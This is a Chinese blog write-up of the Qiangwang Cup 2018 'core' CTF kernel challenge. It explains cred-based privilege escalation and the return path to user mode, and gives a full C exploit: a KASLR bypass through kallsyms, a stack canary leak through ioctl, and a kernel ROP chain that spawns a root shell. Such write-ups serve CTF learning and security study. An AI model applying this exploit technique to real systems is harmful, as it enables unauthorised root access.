强网杯2018 core(kernel ROP)

前言

这是我第一次尝试学习kernel pwn,我自己不是很擅长系统性地整理知识点,所以就不完整地整一篇操作系统相关的文章了。

commit_creds(prepare_kernel_cred(0)) 提权 PoC

原理分析

Linux的内核中是用cred结构体记录每个线程的用户权限,也就是说想办法控制了这个结构体就能实现提权操作。
结构体定义如下

struct cred {
    atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t subscribers; /* number of processes subscribed */
    void *put_addr;
    unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
    kuid_t uid; /* real UID of the task */
    kgid_t gid; /* real GID of the task */
    kuid_t suid; /* saved UID of the task */
    kgid_t sgid; /* saved GID of the task */
    kuid_t euid; /* effective UID of the task */
    kgid_t egid; /* effective GID of the task */
    kuid_t fsuid; /* UID for VFS ops */
    kgid_t fsgid; /* GID for VFS ops */
    unsigned securebits; /* SUID-less security management */
    kernel_cap_t cap_inheritable; /* caps our children can inherit */
    kernel_cap_t cap_permitted; /* caps we're permitted */
    kernel_cap_t cap_effective; /* caps we can actually use */
    kernel_cap_t cap_bset; /* capability bounding set */
    kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
    unsigned char jit_keyring; /* default keyring to attach requested
                     * keys to */
    struct key *session_keyring; /* keyring inherited over fork */
    struct key *process_keyring; /* keyring private to this process */
    struct key *thread_keyring; /* keyring private to this thread */
    struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
    void *security; /* subjective LSM security */
#endif
    struct user_struct *user; /* real user ID subscription */
    struct user_namespace
        *user_ns; /* user_ns the caps and keyrings are relative to. */
    struct group_info *group_info; /* supplementary groups for euid/fsgid */
    /* RCU deletion */
    union {
        int non_rcu; /* Can we skip RCU deletion? */
        struct rcu_head rcu; /* RCU deletion hook */
    };
} __randomize_layout;

在操作cred的函数中有下面两个函数,其中prepare_kernel_cred可以复制传入参数的cred并返回,而commit_creds能够将传入的cred应用到当前进程。

extern struct cred *prepare_kernel_cred(struct task_struct *);
extern int commit_creds(struct cred *);

根据prepare_kernel_cred的是实现可以看出若传入参数为NULL则会复制init进程的cred,即一个有root权限的cred。

struct cred *prepare_kernel_cred(struct task_struct *daemon) {
    const struct cred *old;
    struct cred *new;

    new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
    if (!new)
        return NULL;

    kdebug("prepare_kernel_cred() alloc %p", new);

    if (daemon)
        old = get_task_cred(daemon);
    else
        old = get_cred(&init_cred);

    validate_creds(old);

    *new = *old;
    new->non_rcu = 0;
    atomic_set(&new->usage, 1);
    set_cred_subscribers(new, 0);
    get_uid(new->user);
    get_user_ns(new->user_ns);
    get_group_info(new->group_info);

#ifdef CONFIG_KEYS
    new->session_keyring = NULL;
    new->process_keyring = NULL;
    new->thread_keyring = NULL;
    new->request_key_auth = NULL;
    new->jit_keyring = KEY_REQKEY_DEFL_THREAD_KEYRING;
#endif

#ifdef CONFIG_SECURITY
    new->security = NULL;
#endif
    if (security_prepare_creds(new, old, GFP_KERNEL_ACCOUNT) < 0)
        goto error;

    put_cred(old);
    validate_creds(new);
    return new;

error:
    put_cred(new);
    put_cred(old);
    return NULL;
}

因此只要构造一个commit_creds(prepare_kernel_cred(0))的调用有可以实现提权。

一点提示:返回值存在rax寄存器中,而函数的第一个参数存在rdi寄存器中。因此需要用到gadget将rax的值转到rdi中。

从内核态回到用户态

进入内核态之前,系统会将用户态程序的一些信息储存在栈中,在执行iretq时,这些信息会逐个出栈,从而完成返回。
大致的栈结构如下:

    swapgs
    iretq
    user_shell_addr
    user_cs
    user_eflags //64bit user_rflags
    user_sp
    user_ss

这些信息可以在用户态时提前记录下来,然后随着payload一同发送过去。记录信息的函数如下:

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

强网杯2018 core

源码分析

查看启动脚本,内核开了KASLR。


KASLR是内核版的ASLR,内核中的相关符号基于一个随机的基地址进行布局。
解压文件系统,里面包含一个叫做core.ko的内核模块。
首先是保护,开了canary:

放入IDA进行分析,模块注册在proc/core

首先是core_copy_func中存在栈溢出漏洞。

根据交叉引用发现这个函数在ioctl被调用。

另外还需要关注name这个变量,这个变量在write函数中存在写入。

因为开了canary保护,需要绕过,这时就用到了read函数中的数组下标越界。copy_to_user函数中的off为全局变量,可以在ioctl中控制,用来越界读取栈中的内容,从而获取canary。

利用过程

首先是计算内核中的函数的偏移。从checksec输出的PIE一栏可以知道ELF中的符号的基地址。这里基地址是0xffffffff81000000


然后通过pwntools和ropper获取符号地址和gadget地址。同时通过/tmp/kallsyms读取函数实际地址,计算基地址以及gadget的地址。
接着通过read泄漏canary。
最后利用write写入ROP链,然后通过core_copy_func造成栈溢出。

EXP

// gcc exp.c -static -masm=intel -g -o exp
#include <fcntl.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

#define RAW_VMLINUX_BASE 0xffffffff81000000
#define COMMIT_CREDS 0xffffffff8109c8e0
#define PREPARE_KERNEL_CRED 0xffffffff8109cce0
#define POP_RDI 0xffffffff81000b2f
#define POP_RDX 0xffffffff810a0f49
#define POP_RCX 0xffffffff81021e53
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define IRETQ_RET 0xffffffff81050ac2

size_t vmlinux_offset = 0;
size_t commit_creds = 0;
size_t prepare_kernel_cred = 0;

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
  __asm__("mov user_cs, cs;"
          "mov user_ss, ss;"
          "mov user_sp, rsp;"
          "pushf;"
          "pop user_rflags;");
  puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void getVmlinuxBase() {
  FILE *f = fopen("/tmp/kallsyms", "r");

  if (f < 0) {
    puts("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
    exit(-1);
  }

  size_t addr;
  char buf[0x50], type[0x50];

  while (fscanf(f, "%llx%s%s", &addr, type, buf)) {
    if (prepare_kernel_cred && commit_creds)
      break;

    if (!commit_creds && !strcmp(buf, "commit_creds")) {
      commit_creds = addr;
      printf("\033[32m\033[1m[+] Successful to get the addr of "
             "commit_cread:\033[0m%llx\n",
             commit_creds);
      continue;
    }

    if (!strcmp(buf, "prepare_kernel_cred")) {
      prepare_kernel_cred = addr;
      printf("\033[32m\033[1m[+] Successful to get the addr of "
             "prepare_kernel_cred:\033[0m%llx\n",
             prepare_kernel_cred);
      continue;
    }
  }

  if (prepare_kernel_cred - (PREPARE_KERNEL_CRED - RAW_VMLINUX_BASE) !=
      commit_creds - (COMMIT_CREDS - RAW_VMLINUX_BASE)) {
    puts("\033[31m\033[1m[x] Base address error!\033[0m\n");
    exit(-1);
  }

  vmlinux_offset = prepare_kernel_cred - PREPARE_KERNEL_CRED;
}

void getRootShell(void) {
  if (getuid()) {
    printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
    exit(-1);
  }

  printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell "
         "now...\033[0m\n");
  system("/bin/sh");
}

void coreRead(int fd, char *buf) { ioctl(fd, 0x6677889B, buf); }

void setOffValue(int fd, size_t off) { ioctl(fd, 0x6677889C, off); }

void coreCopyFunc(int fd, size_t nbytes) { ioctl(fd, 0x6677889A, nbytes); }

int main() {
  saveStatus();

  getVmlinuxBase();

  int fd = open("/proc/core", 2);

  size_t canary;
  char buf[0x50];

  setOffValue(fd, 64);
  coreRead(fd, buf);
  canary = ((size_t *)buf)[0];

  // construct the ropchain
  size_t rop_chain[0x100], i = 0;
  for (; i < 10; i++)
    rop_chain[i] = canary;
  rop_chain[i++] = POP_RDI + vmlinux_offset;
  rop_chain[i++] = 0;
  rop_chain[i++] = prepare_kernel_cred;
  rop_chain[i++] = POP_RDX + vmlinux_offset;
  rop_chain[i++] =
      POP_RCX + vmlinux_offset;
  rop_chain[i++] = MOV_RDI_RAX_CALL_RDX + vmlinux_offset;
  rop_chain[i++] = commit_creds;
  rop_chain[i++] = SWAPGS_POPFQ_RET + vmlinux_offset;
  rop_chain[i++] = 0;
  rop_chain[i++] = IRETQ_RET + vmlinux_offset;
  rop_chain[i++] = (size_t)getRootShell;
  rop_chain[i++] = user_cs;
  rop_chain[i++] = user_rflags;
  rop_chain[i++] = user_sp;
  rop_chain[i++] = user_ss;

  write(fd, rop_chain, 0x800);
  coreCopyFunc(fd, 0xffffffffffff0000 | (0x100));
}

参考资料

【OS.0x01】Linux Kernel II:内核简易食用指北
【PWN.0x00】Linux Kernel Pwn I:Basic Exploit to Kernel Pwn in CTF
Kernel ROP

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇